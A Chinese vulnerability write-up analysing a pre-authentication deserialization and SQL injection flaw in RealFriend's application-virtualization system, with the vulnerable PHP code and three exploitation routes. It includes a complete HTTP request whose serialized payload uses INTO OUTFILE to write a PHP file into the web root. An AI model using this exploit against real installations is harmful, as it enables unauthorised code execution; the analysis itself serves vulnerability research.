浅析瑞友天翼应用虚拟化系统前台反序列化(V<=7.0.5.1) 看到应急公告简单分析学习一波,漏洞不算难,代码也比较简单,有些细节还是蛮有意思,算是温故而知新,顺便也捡起一些很久没碰的PHP知识
鉴权 这个系统文件不多,功能点大多是需要登录,我们可以重点关注一下鉴权部分,在为数不多的控制器当中可以看到,在admin/index
两个控制器中部分功能点都存在对于登录用户的判断,分别对应函数checklogin
与adminchecklogin
(Ps:在高版本中只有AdminCtroller控制器文件了,武器化也以这个为准)
在这里可以明显看到sql查询为拼接的形式,userId
参数来源于session存储文件的反序列化
IndexController#checklogin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private function checklogin ( ) { $mUser = M('cuser' ); $sessionpath = session_save_path(); $pathName = $this ->openpath($sessionpath ); $path = $_REQUEST ['sessId' ] ? ($sessionpath . "/sess_" . $_REQUEST ['sessId' ]) : ($sessionpath . "/" . $pathName ['name' ][0 ]); $content = file_get_contents($path ); $tmp = explode("|" , $content ); $tmp3 = unserialize($tmp [3 ]); $userId = $tmp3 ['user_id' ]; $cuser = $mUser ->where("user_id='{$userId} ' AND is_group=0 AND is_admin !=1" )->find(); if (sizeof($cuser ) > 0 ) { $_SESSION ['UserInfo' ] = $cuser ; $_SESSION ['sessId' ] = $_REQUEST ['sessId' ]; $this ->assign('sessId' , $_REQUEST ['sessId' ]); return true ; } if ($_SESSION ['LonginSucceed' ] == false ) { $this ->login(); return false ; } else { return true ; } }
AdminController#checklogin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private function adminchecklogin ( ) { $mUser = M('cuser' ); $sessionpath = session_save_path(); $pathName = $this ->openpath($sessionpath ); $path = $sessionpath . "/sess_" . $_REQUEST ['sessId' ]; $content = file_get_contents($path ); $tmp = explode("OverDo" , $content ); if (count($tmp ) > 1 ) { $temporary = explode("|" , $content ); $tmp6 = unserialize($temporary [7 ]); if (!$tmp6 ) { $tmp6 = unserialize($temporary [1 ]); } } else { $tmp = explode("|" , $content ); $tmp6 = unserialize($tmp [6 ]); } $userId = $tmp6 ['user_id' ]; $_SESSION ['AdminUserInfo' ]['user_id' ] = $_SESSION ['AdminUserInfo' ]['user_id' ] ? $_SESSION ['AdminUserInfo' ]['user_id' ] : $userId ; $cuser = $mUser ->where("user_id='{$_SESSION['AdminUserInfo']['user_id']} ' AND is_group=0 AND is_admin=1" )->find(); if (sizeof($cuser ) > 1 && $cuser ['is_admin' ] == 1 ) { $_SESSION ['AdminLonginSucceed' ] = true ; $_SESSION ['Is_Admin' ] = $cuser ['is_admin' ]; $_SESSION ['AdminUserInfo' ] = $InfoLogin ['AdminUserInfo' ] = $cuser ; $_SESSION ['AdminUserInfo' ]['name' ] = $cuser ['name' ]; $this ->assign('sessId' , $_REQUEST ['sessId' ]); $this ->assign('Admin' , $_SESSION ['AdminUserInfo' ]['name' ]); } if ($_SESSION ['AdminLonginSucceed' ] && $_SESSION ['Is_Admin' ] && $cuser != NULL ) { return true ; } else { $this ->login(); $_SESSION ['AdminLonginSucceed' ] = false ; $_SESSION ['Is_Admin' ] = false ; return false ; } }
利用方式大致一致,但Admincontroller
与IndexController
在利用上仍有些许差别,前者利用中多了如下代码,也就是说如果第一次打成功了,userId则会被记录,第二次利用时如果需要更改Payload只需把cookie中PHPSESSID
做个修改即可
1 $_SESSION ['AdminUserInfo' ]['user_id' ] = $_SESSION ['AdminUserInfo' ]['user_id' ] ? $_SESSION ['AdminUserInfo' ]['user_id' ] : $userId ;
失败的session控制利用尝试 php中的session存在多种存储方式,通过cookie、文件、数据库等方式均可,存储的格式也有多种
php_serialize 经过serialize()函数序列化数组 php 键名+竖线+经过serialize()函数处理的值 php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值
接下里我们查看系统中关于session的配置,不难发现,存储方式是通过文件,保存在RealFriend\Rap Server\Temp\PhpSession
路径下,且存储格式为php
1 2 3 4 5 6 7 8 9 10 11 12 13 [Session] session.save_handler = filessession.save_path ="C:\Program Files (x86)\RealFriend\Rap Server\Temp\PhpSession" session.use_cookies = 1 session.cookie_secure = 0 session.name = PHPSESSIDsession.auto_start = 0 session.cookie_lifetime = 0 session.cookie_path = /session.cookie_domain =session.cookie_httponly = True session.serialize_handler = php
关于session的工作原理就不再赘述网上相关资料也很多了
知道了这些信息,接下来我们便可以思考如何控制这个session文件(通过对session操作赋值),这个过程非常直接,因此我们第一个很容易想到在登录的过程
在下面的文件中,我们发现赋值部分能控制的有name
、pwd
、loginPwd
、language
等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php include "ConDB.XGI" ;include "LicenceInfo.XGI" ;include "Lg.XGI" ;include "Common.XGI" ;include "Function.XGI" ;include "converter.XGI" ;$ErrID = 1 ;if (!isset ($_SESSION )) { session_start(); } $COMCASWEB = new main();if (!isset ($_REQUEST ['cmd' ]) && $_REQUEST ['cmd' ] == "" ) { if (isset ($_SESSION ['UserName' ]) && !empty ($_SESSION ['UserName' ])) { } if ($GLOBALS ['_SESSION' ]['LonginSucceed' ]) { $GLOBALS ['GLOBALS' ]['_REQUEST' ]['DirID' ] = "NULL" ; } else { session_unset(); } } $GLOBALS ['GLOBALS' ]['_SESSION' ]['MainXGI' ] = $_SERVER ['PHP_SELF' ];$GLOBALS ['GLOBALS' ]['_SESSION' ]['Embed' ] = FALSE ;$GLOBALS ['GLOBALS' ]['_SESSION' ]['salt' ] = getClientLoginMd5Salt();if (isset ($_GET ['cmd' ]) && $_GET ['cmd' ] == "UserLogin" ) { $RedURL = $_SERVER ['PHP_SELF' ]; header("Location: " . $RedURL ); exit ; } if (isset ($_REQUEST ['cmd' ]) && $_REQUEST ['cmd' ] == "UserLogin" ) { $_REQUEST ['name' ]=trim(filter_inputXssKeyWord($_REQUEST ['name' ])); $_REQUEST ['pwd' ]=(filter_inputXssKeyWord($_REQUEST ['pwd' ])); $_REQUEST ['loginPwd' ]=trim(filter_inputXssKeyWord($_REQUEST ['loginPwd' ])); $GLOBALS ['GLOBALS' ]['_SESSION' ]['loginPwd' ]=$_REQUEST ['loginPwd' ]; $GLOBALS ['GLOBALS' ]['_SESSION' ]['PWD' ] = $_REQUEST ['pwd' ]; if (inject_check($_REQUEST ['name' ]) || inject_check($_REQUEST ['pwd' ])) { $RedURL = $_SERVER ['PHP_SELF' ]; header("Location: " . $RedURL ); exit ; } if (isset ($_REQUEST ['language' ]) && $_REQUEST ['language' ] != "" ) { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = strtoupper($_REQUEST ['language' ]); } else { } if (!isset ($_SESSION ['LanguageName' ]) && $_SESSION ['LanguageName' ] == "" ) { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = strtoupper($_SERVER ['HTTP_ACCEPT_LANGUAGE' ]); if (similar_text($_SESSION ['LanguageName' ], "ZH-CN" ) == 5 ) { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = "ZH-CN" ; } else { if (similar_text($_SESSION ['LanguageName' ], "ZH-TW" ) == 5 ) { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = "ZH-TW" ; } else { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = "EN" ; } } } if ($_SESSION ['LanguageName' ] == "" ) { $GLOBALS ['GLOBALS' ]['_SESSION' ]['LanguageName' ] = "ZH-CN" ; }
但很可惜一眼能看到过滤函数中把'
单引号删除了,因此实际利用时不能做到执行的逃逸
1 2 3 4 5 6 7 8 function filter_inputXssKeyWord ($str ) { $str = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i" , "" , preg_replace( "/<(.*)a(.*)l(.*)e(.*)r(.*)t/i" , "" , $str )); $str =str_ireplace("and" , "" , preg_replace( "/<(.*)a(.*)n(.*)d/i" , "" ,$str )); $str =str_ireplace("' 'f'='" , "" , str_ireplace("OR" , "" , $str )); $str =str_ireplace("+" , "" , str_ireplace("'" , "" , $str )); return $str ; }
唯一没走过滤的只有language相关参数,但很可惜回顾之前的反序列化部分要求位置太过于靠前,另一个admin控制器的则在第七位,仅有参数Pwd
在存储文件按|
分割在第五位,能通过写入|
实现反序列化payload的控制,但很可惜无法逃逸单引号的利用
1 2 $tmp = explode("|" , $content );$tmp3 = unserialize($tmp [3 ]);
柳暗花明又一村 第二天写完博客吃饭期间,经过atao的提示我又去看了一下php的配置,不看不知道,一看吓一跳(所以说有时候不要光看配置文件.ini的内容,还是phpinfo里的信息更为直观)
这不就是以前CTF的利用session.upload_progress做条件竞争写文件么?经过测试也是可以直接利用的,这方面知识点遗忘的
可以看看以前的老文章,这里就不当搬运工了,利用session.upload_progress进行文件包含和反序列化渗透
通过PHP_SESSION_UPLOAD_PROGRESS的利用,将反序列化数据放在filename当中即可实现更稳定的利用,目前来看三种利用方式里面这个最佳
PHP临时文件 另一个能想到的就是之前打ctf的老姿势临时文件包含了,配合上windows的通配符
忘了的可以看看远古文章https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/
查看系统具体配置,可以看到缓存文件在默认路径下
1 2 3 4 5 file_uploads = On upload_tmp_dir = "C:\Windows\Temp" upload_max_filesize = 32 Mmax_file_uploads = 20 allow_url_fopen = On
通过查看配置文件不难发现临时文件在默认的C:\Windows\Temp
下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /hmrao.php?s=/Admin/title&sessId=/../../../../../../Windows/Temp/php<< HTTP/1.1 Host: Connection: close Cookie: PHPSESSID=aaabbbcccddefzzzzazzza; CookieLanguageName=EN; UserAuthtype=0 Accept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: multipart/form-data; boundary=------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate{{char(a-z)}} Content-Length: 188 --------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM Content-Disposition: form-data; name="file";filename="1.txt" ||||||a:1:{s:7:"user_id";s:310:"y4test') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 0x003c3f7068702066696c655f7075745f636f6e74656e7473282779347461636b65722e706870272c273c3f706870206563686f28224861636b65642042792059347461636b657222293b27293b3f3e into outfile '../../WebRoot/y4tacker.php'#";}||| --------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM--
一发入魂打一波
但仍然存在一定问题,假如我们的安装目录不在默认的C盘,那么目录穿越不能跨越盘符做读取,那这时候又该怎么办呢?
ThinkPHP日志包含 尽管安装路径不一定在C盘,那么我们还能从什么方向思考呢,有情我们的老演员TP,它的日志总会在项目路径下吧(RealFriend\Rap Server\WebRoot\casweb\Runtime\Logs\Home
)
只要能让项目报错就能保存日志,因此我们可以访问一个不存在的路由触发日志即可将payload写入(注意处理空格的问题,#符号也要替换,闭合语句即可)